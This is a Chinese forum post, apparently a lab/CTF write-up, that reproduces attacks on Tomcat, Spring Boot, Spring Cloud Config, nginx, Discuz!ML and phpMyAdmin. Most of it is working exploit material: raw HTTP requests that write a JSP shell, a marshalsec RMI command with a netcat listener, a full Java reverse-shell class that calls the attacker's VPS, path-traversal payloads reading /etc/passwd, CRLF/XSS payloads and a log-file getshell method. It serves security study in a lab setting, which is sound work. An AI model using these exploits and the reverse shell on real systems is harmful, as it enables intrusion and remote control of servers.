漏洞复现靶场writeup之五

veek   ·   发表于 2021-01-03 20:53:29   ·   CTF&WP专版

0x00 Tomcat 任意文件写入漏洞 CVE-2017-12615

漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件.

虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制。

直接发送以下数据包即可在Web根目录写入shell:

  1. PUT /1.jsp/ HTTP/1.1
  2. Host: your-ip:8080
  3. Accept: */*
  4. Accept-Language: en
  5. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  6. Connection: close
  7. Content-Type: application/x-www-form-urlencoded
  8. Content-Length: 5
  9. this is shell

如下:


结果:

0x02 spring boot配置不当之RCE

重点:此漏洞仅在目标机器jdk版本低于v1.8_191可复现(靶场为8u181)

复现过程主要参考零组文库,首先在自己的vps的当前目录(test)上用python3开启web服务

在目录下创建java文件,并编译得到class文件。JNDIObject.java文件内容在下方给出。

编译语句:javac -source 1.5 -target 1.5 JNDIObject.java

架设恶意 rmi 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps:8080/#JNDIObject 1389

监听端口,nc -lvp 443

最后执行exp,即访问该poc(需要更换自己vps的ip):

  1. https://【靶场url】/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/logback.xml

很快就能收到shell:

若出现以下报错,是jdk版本过高的原因。可切换或安装1.8版本的jdk:

JNDIObject.java(请自行修改代码中反弹shell的ip和端口)文件内容:

  1. /**
  2. * javac -source 1.5 -target 1.5 JNDIObject.java
  3. *
  4. * Build By LandGrey
  5. * */
  6. import java.io.File;
  7. import java.io.InputStream;
  8. import java.io.OutputStream;
  9. import java.net.Socket;
  10. public class JNDIObject {
  11. static {
  12. try{
  13. String ip = "your-vps-ip";
  14. String port = "443";
  15. String py_path = null;
  16. String[] cmd;
  17. if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
  18. String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
  19. for(int i = 0; i < py_envs.length; ++i) {
  20. String py = py_envs[i];
  21. if ((new File(py)).exists()) {
  22. py_path = py;
  23. break;
  24. }
  25. }
  26. if (py_path != null) {
  27. if ((new File("/bin/bash")).exists()) {
  28. cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
  29. } else {
  30. cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
  31. }
  32. } else {
  33. if ((new File("/bin/bash")).exists()) {
  34. cmd = new String[]{"/bin/bash"};
  35. } else {
  36. cmd = new String[]{"/bin/sh"};
  37. }
  38. }
  39. } else {
  40. cmd = new String[]{"cmd.exe"};
  41. }
  42. Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
  43. Socket s = new Socket(ip, Integer.parseInt(port));
  44. InputStream pi = p.getInputStream();
  45. InputStream pe = p.getErrorStream();
  46. InputStream si = s.getInputStream();
  47. OutputStream po = p.getOutputStream();
  48. OutputStream so = s.getOutputStream();
  49. while(!s.isClosed()) {
  50. while(pi.available() > 0) {
  51. so.write(pi.read());
  52. }
  53. while(pe.available() > 0) {
  54. so.write(pe.read());
  55. }
  56. while(si.available() > 0) {
  57. po.write(si.read());
  58. }
  59. so.flush();
  60. po.flush();
  61. Thread.sleep(50L);
  62. try {
  63. p.exitValue();
  64. break;
  65. } catch (Exception e) {
  66. }
  67. }
  68. p.destroy();
  69. s.close();
  70. }catch (Throwable e){
  71. e.printStackTrace();
  72. }
  73. }
  74. }

0x03 spring cloud config server目录遍历漏洞 CVE-2020-5410

打开网站,使用poc完成文件读取:

  1. curl "127.0.0.1/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"

如图:

读flag的poc:

  1. http://[靶场url]/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fflag.txt%23foo/development%22

0x04 nginx配置安全漏洞

CRLF注入漏洞

Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。

错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):

  1. location / {
  2. return 302 https://$host$uri;
  3. }

Payload: http://url/%0a%0dSet-Cookie:%20a=1,可注入Set-Cookie头。

利用Payload: http://url/%0D%0ASet-Cookie:%20a=1%0d%0a%0d%0a<img src=1 οnerrοr=alert(/xss/)> ,可构造一个xss漏洞:

目录穿越漏洞

Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。

错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):

  1. location /files {
  2. alias /home/;
  3. }

Payload: http://URL/files../ ,成功穿越到根目录:

add_header被覆盖

Nginx配置文件子块(server、location、if)中的add_header,将会覆盖父块中的add_header添加的HTTP头,造成一些安全隐患。

如下列代码,整站(父块中)添加了CSP头:

  1. add_header Content-Security-Policy "default-src 'self'";
  2. add_header X-Frame-Options DENY;
  3. location = /test1 {
  4. rewrite ^(.*)$ /xss.html break;
  5. }
  6. location = /test2 {
  7. add_header X-Content-Type-Options nosniff;
  8. rewrite ^(.*)$ /xss.html break;
  9. }

但/test2的location中又添加了X-Content-Type-Options头,导致父块中的add_header全部失效:

XSS可被触发:

0x05 nginx 解析漏洞

访问http://URL/uploadfiles/nginx.pnghttp://URL/uploadfiles/nginx.png/.php即可查看效果


增加/.php后缀,被解析成PHP文件:

也可配合文件上传来getshell。此处不再演示。

0x06 Discuz!ML 3.x 任意代码执行

在网站首页,点击右上角国旗图标(网站样式不完整,但功能没问题)。切换语言并抓包:

抓包直接修改cookie内容,在language后添加'.phpinfo().'

直接点击burp中的forward,此时会有第二次发包过程,再次重复上一步的修改后点击forward:

可见代码已被成功执行。

0x07 phpmyadmin v4.8.1 后台getshell

使用一波phpmyadmin的弱口令,root/123456成功登进后台

访问:
http://[靶场url]:81/index.php?target=db_datadict.php%253f/../../../../../../../../../etc/passwd

利用方式也比较简单,可以执行一下 SELECT ‘<?php phpinfo()?>’;

到phpmyadmin后台后,getshell方法还很多,比如利用改变写入的日志的路径,写入我们的一句话木马,
首先呢,介绍两个MySQL全局变量(general_log、general_log file)

  • general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  • general log file 指的是日志的保存路径

http://[靶场url]:81/index.php?target=db_datadict.php%253f/../../../../../../../../..//var/lib/mysql/eaeaef53e506.log

成功getshell。

打赏我,让我更有动力~

0 条回复   |  直到 2021-1-3 | 1958 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.